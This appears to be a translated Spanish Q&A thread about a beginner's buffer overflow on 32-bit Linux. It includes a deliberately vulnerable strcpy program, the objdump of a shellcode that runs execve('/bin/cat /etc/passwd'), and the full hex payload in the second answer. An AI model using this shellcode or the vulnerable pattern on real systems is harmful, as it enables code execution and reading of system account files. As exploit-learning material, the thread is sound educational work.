¿Qué hay detrás de este shellcode complicado en Linux?

4

Es prácticamente mi primera vez jugando con un exploit de desbordamiento de búfer. He escrito un programa de C simple que es vulnerable a los desbordamientos de búfer:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void main()
{
    char* filename = getenv("filename");
    char buff[128];

    strcpy(buff, filename);
}

Lo compilé así en mi Ubuntu Server 10.04 (i386)

gcc vuln.c -o vuln -z execstack -fno-stack-protector

Intenté inyectar varios tipos de códigos de shell después de descubrir cuántos bytes son necesarios en el nombre de archivo para anular la dirección de retorno (Entonces, paso una diapositiva NOP + una dirección de shellcode + que conduce a la diapositiva NOP a través de la variable de entorno de nombre de archivo ). Las variaciones comunes de execve bin / sh dieron como resultado una falla de segmentación dentro de su propio código, por alguna razón, pero un código de shell curiosamente específico realmente funcionó para mí:

Tomado de enlace Requiere que execve ejecute / bin / cat en / etc / passwd

Disassembly of section .text:
08048060 <.text>:
 8048060:   eb 1f                   jmp    0x8048081
 8048062:   5b                      pop    %ebx
 8048063:   31 c0                   xor    %eax,%eax
 8048065:   88 43 0b                mov    %al,0xb(%ebx)
 8048068:   88 43 18                mov    %al,0x18(%ebx)
 804806b:   89 5b 19                mov    %ebx,0x19(%ebx)
 804806e:   8d 4b 0c                lea    0xc(%ebx),%ecx
 8048071:   89 4b 1d                mov    %ecx,0x1d(%ebx)
 8048074:   89 43 21                mov    %eax,0x21(%ebx)
 8048077:   b0 0b                   mov    $0xb,%al
 8048079:   8d 4b 19                lea    0x19(%ebx),%ecx
 804807c:   8d 53 21                lea    0x21(%ebx),%edx
 804807f:   cd 80                   int    $0x80
 8048081:   e8 dc ff ff ff          call   0x8048062
 8048086:   2f                      das    
 8048087:   2f                      das    
 8048088:   2f                      das    
 8048089:   2f                      das    
 804808a:   62 69 6e                bound  %ebp,0x6e(%ecx)
 804808d:   2f                      das    
 804808e:   63 61 74                arpl   %sp,0x74(%ecx)
 8048091:   23 2f                   and    (%edi),%ebp
 8048093:   2f                      das    
 8048094:   65 74 63                gs je  0x80480fa
 8048097:   2f                      das    
 8048098:   70 61                   jo     0x80480fb
 804809a:   73 73                   jae    0x804810f
 804809c:   77 64                   ja     0x8048102
 804809e:   23 41 4a                and    0x4a(%ecx),%eax
 80480a1:   49                      dec    %ecx
 80480a2:   54                      push   %esp
 80480a3:   48                      dec    %eax
 80480a4:   41                      inc    %ecx
 80480a5:   4a                      dec    %edx
 80480a6:   49                      dec    %ecx
 80480a7:   54                      push   %esp
 80480a8:   48                      dec    %eax
 80480a9:   4b                      dec    %ebx
 80480aa:   50                      push   %eax

Ahora, lo que ves aquí es una salida de objdump y no el ensamblaje original real que no pude encontrar. Parece que las cadenas / bin / cat y / etc / passwd vienen después de todos esos opcodes "2F". Una rápida lectura de este código de operación me llevó a

Adjusts the result of the subtraction of two packed BCD values to create a packed BCD result.

No tengo idea de lo que eso significa, sin embargo, o cómo esto contribuye al shellcode. ¿Alguien puede intentar explicarlo?

  • Además, quería ajustar este código de shell solo un poco, por lo que llama a / bin / cat en una ruta de archivo diferente a / etc / passwd, como / home / kfir / helloworld, pero se eliminará en / home / kfir / - que tiene la misma longitud que / etc / passwd (11 caracteres)
pregunta Kfirprods 17.03.2017 - 12:45
fuente

2 respuestas

4

Si ha intentado shellcode antes de que se basa en direcciones absolutas, entonces eso Podría explicar los choques. Este shellcode sobrevive porque usa call para obtener la dirección de puntero de pila absoluta y luego modifica el búfer en el lugar sin otras modificaciones de pila.

Para una comprensión completa, podría ser ilustrativo ver lo que está sucediendo, linealmente :

8048060:    eb 1f                   jmp    0x8048081

Realice un salto corto y relativo ( eb ) hacia adelante (puntero de instrucción actual después de la instrucción de ejecución es 0x8048081 + 2, agregando 0x1f a eso da 0x8048081 como la siguiente instrucción).

8048081:    e8 dc ff ff ff          call   0x8048062

Llamada ( e8 ) con un desplazamiento de -36 (entero con signo de 0xffffffdc) relativo a la siguiente instrucción en 0x8048081 + 5, dando 0x8048062 . Tenga en cuenta que call empuja la siguiente instrucción (0x8048086) como dirección de retorno en la pila.

8048062:    5b                      pop    %ebx
8048063:    31 c0                   xor    %eax,%eax

Elimine la dirección de retorno de la pila, almacenando 0x8048086 en el ebx registrarse . Luego establece el registro eax a cero. Ahora, echemos un vistazo a una volcado hexadecimal de los datos que siguen a esa dirección de retorno:

00000000: 2f2f 2f2f 6269 6e2f 6361 7423 2f2f 6574  ////bin/cat#//et
00000010: 632f 7061 7373 7764 2341 4a49 5448 414a  c/passwd#AJITHAJ
00000020: 4954 484b 50                             ITHKP

Claramente, estas no son instrucciones, pero el desensamblador no lo sabía.

8048065:    88 43 0b                mov    %al,0xb(%ebx)

al es la mitad l de 8 bits que se encuentra en el registro eax que contiene cero, por lo que La instrucción sobrescribe la posición 11 en los datos anteriores, reemplazando el # por un byte NUL (después de ////bin/cat ).

¿Por qué no codificar el byte NUL directamente en los datos? Bueno, a menudo el buffer es copiado hasta el primer byte NUL, por lo que si el código de shell contiene un byte NUL, entonces No se copiaría completamente. Al codificar un valor ficticio y luego sobrescribirlo Más tarde, se evita esta limitación.

8048068:    88 43 18                mov    %al,0x18(%ebx)

Del mismo modo, esto establece el # en la segunda línea en cero (después de //etc/passwd ).

804806b:    89 5b 19                mov    %ebx,0x19(%ebx)

Esto sobrescribe AJIT en los datos anteriores (en el desplazamiento 0x19) con la dirección de el búfer (comenzando en ////bin/cat ). Tenga en cuenta que ebx es un registro de 32 bits, por lo que de hecho sobrescribe cuatro bytes.

804806e:    8d 4b 0c                lea    0xc(%ebx),%ecx
8048071:    89 4b 1d                mov    %ecx,0x1d(%ebx)

Esto carga la dirección de //etc/passwd (en el desplazamiento 0xc) en el registro ecx y luego sobrescribe HAJI (en el desplazamiento 0x1d) con este valor.

8048074:    89 43 21                mov    %eax,0x21(%ebx)

Sobrescribe THKP (en el desplazamiento 0x21) con cuatro bytes cero.

Ahora, supongamos por el bien del argumento de que nuestros datos (señalados por el ebp registro) se encuentra en la dirección de 32 bits 0xffff0000. Con las modificaciones anteriores a la pila, nuestros datos ahora se ve así:

00000000: 2f2f 2f2f 6269 6e2f 6361 7400 2f2f 6574  ////bin/cat.//et
00000010: 632f 7061 7373 7764 0000 00ff ff0c 00ff  c/passwd........
00000020: ff00 0000 00                             .....

o, escrito en una forma más legible con direcciones de memoria absolutas:

  • 0xffff0000: "////bin/cat"
  • 0xffff000c: "//etc/passwd"
  • 0xffff0019: 0xffff0000 (dirección de la primera cadena, codificada en little-endian )
  • 0xffff001d: 0xffff000c (dirección de la segunda cadena)
  • 0xffff0021: 0x00000000 (un puntero NULL)

Hmm, esto parece algunos argumentos para la llamada al sistema execve ( sys_execve(char *filename, char **argv, char **envp) ). Para el Arquitectura x86, los parámetros se pasan a través de los registros ebx, ecx, edx mientras que el número de llamada del sistema se pasa a través del registro eax. Así que nuestra primera argumento (ebx) apunta a la cadena ////bin/cat (a 0xffff0000).

8048077:    b0 0b                   mov    $0xb,%al

Establece el número de syscall en 11 ( sys_execve para x86 ).

8048079:    8d 4b 19                lea    0x19(%ebx),%ecx

Establece el segundo argumento en la dirección de la lista de argumentos (en 0xffff0019), en nuestro caso contiene dos cadenas y un puntero NULL. (%código%, ////bin/cat , NULL).

804807c:    8d 53 21                lea    0x21(%ebx),%edx

Establece el tercer argumento a la dirección de las variables de entorno (en 0xffff0021), en nuestro caso solo contiene un terminador NULL.

804807f:    cd 80                   int    $0x80

¡Y finalmente invocar el syscall! Efectivamente, este código hizo lo mismo que este C fragmento:

char *argv[] = {
    "////bin/cat",
    "//etc/passwd",
    NULL
};
char *envp[] = {
    NULL
};
execve(argv[0], argv, envp);
    
respondido por el Lekensteyn 17.03.2017 - 23:33
fuente
1

El ensamblado que ha publicado no es el código de shell, como mencionó, sino el desempaquetado y la ejecución del script de shell.

El código de shell que se está ejecutando es \xeb\x1f\x5b\x31\xc0\x88\x43\x0b\x88\x43\x18\x89\x5b\x19\x8d\x4b\x0c\x89\x4b\x1d\x89\x43\x21\xb0\x0b\x8d\x4b\x19\x8d\x53\x21\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x2f\x2f\x2f\x62\x69\x6e\x2f\x63\x61\x74\x23\x2f\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x23\x41\x4a\x49\x54\x48\x41\x4a\x49\x54\x48\x4b\x50

Este código de shell busca simplemente ejecutar el comando /bin/cat /etc/passwd y crear un archivo llamado ajith y chmod a 7775

Según el código que existe en la página Exploit-DB, no aparece como si hubiera algún "desplazamiento" de bits, simplemente ejecuta Shellcode tal como está sin intentar enviarlo a una ubicación de memoria específica. No parece haber un desplazamiento de "búfer" en el código C y, según su código, parece que su búfer tiene 128 bytes. Lo mejor que puedo decir es que su código de explotación no está explotando la vulnerabilidad de desbordamiento de búfer, solo puede ejecutarse porque tiene un código de shell de 75 bits y un búfer de 128 bytes.

En un ejemplo simple de desbordamiento de búfer, tirarías un montón de caracteres ficticios para llevarte al registro ESP (digamos 128 A en este caso), y luego ejecutarías tu Shellcode. Para encontrar la posición correcta del desplazamiento, tendrías que confundir la aplicación (lo que has hecho) y ajustar tu exploit en consecuencia.

En términos de generar su propio código shell, sugeriría consultar MSFVenom que le permitirá para adaptar fácilmente su shellcode para ejecutar el comando exacto que desea e intente crearlo con la menor longitud de código posible.

    
respondido por el DKNUCKLES 17.03.2017 - 15:10
fuente

Lea otras preguntas en las etiquetas